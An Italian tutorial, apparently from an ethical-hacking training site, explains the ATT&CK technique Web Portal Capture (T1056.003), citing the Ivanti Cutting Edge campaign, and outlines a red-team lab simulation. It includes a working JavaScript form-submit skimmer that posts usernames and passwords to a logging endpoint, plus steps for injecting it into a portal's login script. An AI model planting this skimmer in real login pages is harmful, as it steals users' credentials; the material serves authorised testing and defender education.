Cattura Credenziali da Portale Web: Web Portal Capture (T1056.003)

Web Portal Capture è una sottotecnica di Input Capture che consiste nell'installare codice malevolo su portali web esposti su Internet — VPN SSL, Outlook Web Access, SharePoint, pannelli SSO — con l'obiettivo di intercettare le credenziali digitate dagli utenti legittimi durante l'autenticazione. Il codice iniettato registra username e password prima di inoltrare la richiesta al backend, mantenendo così un flusso di login trasparente per la vittima.

La tecnica è mappata sulle tattiche TA0006 (Credential Access) e TA0009 (Collection), collocandosi tipicamente nelle fasi post-exploitation della kill chain. L'attaccante infatti deve prima ottenere accesso amministrativo al web server, spesso tramite sfruttamento di vulnerabilità zero-day sull'appliance stessa, oppure sfruttando External Remote Services e Valid Accounts già compromessi. Una volta stabilito il punto d'appoggio, la modifica del portale di login diventa un meccanismo di persistenza credenziale estremamente efficace.

L'impatto operativo è duplice. Da un lato l'attaccante raccoglie in modo continuativo credenziali valide di dipendenti, partner e amministratori, aggirando anche eventuali rotazioni periodiche. Dall'altro, poiché il portale continua a funzionare correttamente, la compromissione può passare inosservata per mesi. La campagna Cutting Edge contro le appliance Ivanti Connect Secure, attiva tra dicembre 2023 e febbraio 2024, ha dimostrato come modifiche minime al JavaScript della pagina di login possano esporre intere filiere della difesa, telecomunicazioni e settore aerospaziale.

In un esercizio red team autorizzato, la simulazione di Web Portal Capture parte dall'assunto di aver già ottenuto accesso privilegiato al web server che ospita il portale target. Il vettore iniziale realistico deriva dall'exploit di CVE su appliance edge (Ivanti, Citrix, Fortinet, Pulse Secure) oppure dall'uso di credenziali admin recuperate in fasi precedenti dell'ingaggio.

Su appliance basate su Linux con web server Apache o Nginx, il target tipico è il file JavaScript incluso nella pagina di login o il template server-side. Un pattern comune consiste nell'aggiungere un handler sull'evento submit del form:

document.querySelector('form').addEventListener('submit', function(e){ fetch('/api/log', {method:'POST', body: JSON.stringify({u:this.username.value, p:this.password.value})}); });

L'esfiltrazione può avvenire verso un endpoint locale che scrive su file (evitando traffico egress anomalo) oppure verso un dominio C2 con TLS. Su portali IIS che ospitano OWA o SharePoint la modifica avviene tipicamente su file .aspx o sui moduli HTTP; il malware IceApple ha dimostrato l'efficacia di un modulo .NET che aggancia direttamente il pipeline di autenticazione di Exchange OWA.

Per laboratori controllati, strumenti utili includono BeEF (open source) per comprendere l'iniezione JavaScript lato client, Burp Suite Community (freemium) per intercettare e modificare al volo la risposta del server durante test di concetto, e Caddy o Nginx (open source) per hostare un portale clone in ambiente isolato. Per la fase di persistenza post-modifica, Sliver (open source) e Mythic (open source) offrono framework C2 moderni che supportano callback HTTP camuffati.

La catena d'attacco completa in laboratorio prevede: enumerazione della versione del portale con curl -I verso l'endpoint pubblico, identificazione del file JavaScript principale (spesso login.js, welcome.js o simili), backup del file originale, iniezione del payload minimo, verifica che il flusso di login rimanga funzionante e che le credenziali arrivino al drop point. Un aspetto critico da testare è la resistenza della modifica agli aggiornamenti dell'appliance: molte compromissioni reali vengono scoperte proprio quando una patch sovrascrive il file manomesso e l'attaccante ritenta l'iniezione generando alert.

Durante l'esercizio è fondamentale documentare hash SHA-256 pre e post modifica di ogni file toccato, timestamp esatti, e mantenere un rollback plan per ripristinare il portale al termine del test.

Vuoi diventare un Ethical Hacker ma non sai da dove iniziare?

Accedi alle lezioni gratuite e segui il percorso corretto fin dal primo passo

TEST GRATUITO
2 minuti · 7 domande Che professionista cyber sei? Scopri il profilo più vicino al tuo modo di pensare e inizia dal percorso giusto.